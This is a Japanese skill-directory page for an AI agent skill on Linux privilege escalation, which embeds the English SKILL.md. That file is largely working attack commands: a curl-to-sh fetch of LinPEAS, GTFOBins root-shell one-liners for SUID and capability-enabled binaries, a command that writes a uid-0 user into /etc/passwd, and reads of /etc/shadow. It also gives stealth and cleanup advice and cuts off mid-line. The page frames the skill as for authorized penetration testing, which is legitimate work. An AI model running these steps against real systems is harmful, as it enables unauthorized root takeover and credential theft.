offensive-linux-privesc
できること
このスキルは、低い権限のアカウントからLinuxのroot権限を得る方法を見つける方法論です。sudoの規則、SUIDのバイナリ、ケーパビリティ、cronジョブ、ファイルのパーミッションを扱います。書面による許可のもとでLinuxのホストをテストするセキュリティの専門家向けです。
使う場面
- ✓許可を得たテストで、Linuxホストの低い権限のシェルを持ち、root権限への到達を確認する必要があるとき。
- ✓sudoの規則、SUIDのバイナリ、ケーパビリティに、設定の誤りがないか確認したいとき。
- ✓高い権限で動くcronジョブや、書き込み可能なスクリプトを確認する必要があるとき。
スキルのリンク
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/privesc/offensive-linux-privesc/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“このLinuxサーバーをテストする許可があります。私は低い権限のアカウントを持っています。rootへの権限昇格ができるかを確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
このスキルは、まず自動化された列挙を実行し、その後、sudo、SUIDのバイナリ、ケーパビリティなど最も可能性の高い領域を確認します。次に、cronジョブ、ファイルのパーミッション、その他の経路を確認し、見つけた連鎖を検証します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Linux Privilege Escalation
You have a low-privilege shell on a Linux target. Your objective is to escalate to root through systematic enumeration and exploitation of misconfigurations, vulnerable software, and kernel flaws. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques, prioritizing reliability and stealth.
Every engagement starts with situational awareness. Know what you have, what the system exposes, and what defenders can see. Chain low-severity findings into high-impact escalation paths.
Quick Workflow
- Run automated enumeration (LinPEAS, linux-exploit-suggester) to surface quick wins.
- Check sudo permissions, SUID/SGID binaries, and capabilities first -- these are the highest-probability vectors.
- Enumerate cron jobs, writable scripts, and PATH ordering for hijack opportunities.
- Inspect file permissions on /etc/passwd, /etc/shadow, service configs, and SSH keys.
- Check for NFS shares with no_root_squash and Docker group membership.
- Fingerprint the kernel version and search for applicable kernel exploits as a last resort.
- Validate the escalation path, document the chain, and clean up artifacts.
Automated Enumeration
Before manual inspection, run automated tools to surface the broadest set of findings. Pipe output to a file for offline review and cross-referencing.
# LinPEAS -- transfer and execute
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.out
# Minimal execution to reduce noise on monitored systems
./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out
# Kernel exploit suggestion
./linux-exploit-suggester.sh --uname "$(uname -r)"
# pspy -- monitor processes without root (watches procfs)
./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out
Review LinPEAS output section by section. Focus on red and yellow highlights. Cross-reference SUID findings with GTFOBins immediately.
SUID/SGID Binary Abuse
SUID binaries execute with the file owner's privileges. When owned by root, they are direct escalation vectors if they permit arbitrary command execution, file reads, or file writes.
Enumeration
# Find all SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
Exploitation via GTFOBins
# If find is SUID
find . -exec /bin/sh -p \;
# If vim is SUID
vim -c ':!/bin/sh'
# If python3 is SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# If cp is SUID -- overwrite /etc/passwd
cp /etc/passwd /dev/shm/passwd.bak
echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified
cp /dev/shm/passwd_modified /etc/passwd
# If bash is SUID
bash -p
# If nmap (old interactive mode) is SUID
nmap --interactive
!sh
Custom SUID Binary Analysis
# Check what libraries a SUID binary loads
ldd /usr/local/bin/custom_suid
strace /usr/local/bin/custom_suid 2>&1 | grep -i open
# Check for relative path calls in the binary
strings /usr/local/bin/custom_suid | grep -E '^[a-z]'
ltrace /usr/local/bin/custom_suid 2>&1
If a SUID binary calls another program without an absolute path, you can hijack it by prepending a malicious directory to PATH.
Linux Capabilities Exploitation
Capabilities split root privileges into discrete units. A binary with cap_setuid can change its UID to 0 without being SUID.
# Find binaries with capabilities set
getcap -r / 2>/dev/null
Exploitation
# cap_setuid on python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# cap_dac_override on vim (read/write any file)
vim /etc/shadow
# cap_dac_read_search on tar (read any file)
tar czf /dev/shm/shadow.tar.gz /etc/shadow
tar xzf /dev/shm/shadow.tar.gz -C /dev/shm/
Capabilities are frequently overlooked by administrators. They appear in LinPEAS output but deserve dedicated enumeration.
Sudo Misconfigurations
Sudo rules are the most common privilege escalation vector in real engagements. Check sudo -l immediately upon gaining a shell.
# List sudo permissions for current user
sudo -l
sudo --version
cat /etc/sudoers 2>/dev/null
NOPASSWD Exploitation
# If sudo allows vi/vim NOPASSWD
sudo vim -c '!bash'
# If sudo
よくある質問
SUIDのバイナリとは何ですか?
所有者の権限で動くプログラムのことで、設定を誤ると悪用されうるものです。
どのツールに言及していますか?
自動化されたチェックのために、LinPEASとlinux-exploit-suggesterに言及しています。
許可を得たテストだけのためのものですか?
はい。テストする許可のあるシステムのために書かれています。
詳細
作者による元の説明
Comprehensive Linux privilege escalation methodology for offensive security engagements. Covers the full attack surface from a low-privilege shell to root: SUID/SGID binary abuse via GTFOBins, Linux capabilities exploitation (cap_setuid, cap_dac_override, cap_dac_read_search), sudo misconfigurations including NOPASSWD rules and Baron Samedit (CVE-2021-3156), cron job abuse through writable scripts, PATH hijacking, and wildcard injection with tar/rsync/chown. Includes writable /etc/passwd attacks, NFS no_root_squash exploitation, kernel exploits (DirtyPipe CVE-2022-0847, DirtyCow CVE-2016-5195,
repo: SnailSploit/Claude-Red
人気
- GitHubのスター
- 10k
- ランキング
- #11967
- ライセンス
- MIT
- 更新日
- 2026/10/12
コメント
- …
このリポジトリの他のスキル
offensive-active-directory
10kエージェントが、ネットワークの地図作成から Domain Adminへの攻撃経路の発見まで、許可を得た Active Directoryのセキュリティテストを計画できるよう支援します。
offensive-netexec
10kエージェントが、許可を得たネットワークのテストで、NetExec(nxc)ツールを使えるよう支援します。プロトコル、認証、認証情報の確認を扱います。
offensive-api-abuse
10kエージェントが、ビジネスロジックの悪用、GraphQLのリスク、競合状態を探す、許可を得たAPIのセキュリティテストを計画できるよう支援します。
offensive-api-security
10kエージェントが、OWASP API Top 10に基づき、REST、gRPC、WebSocketのAPIに対して許可を得たセキュリティテストを行えるよう支援します。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。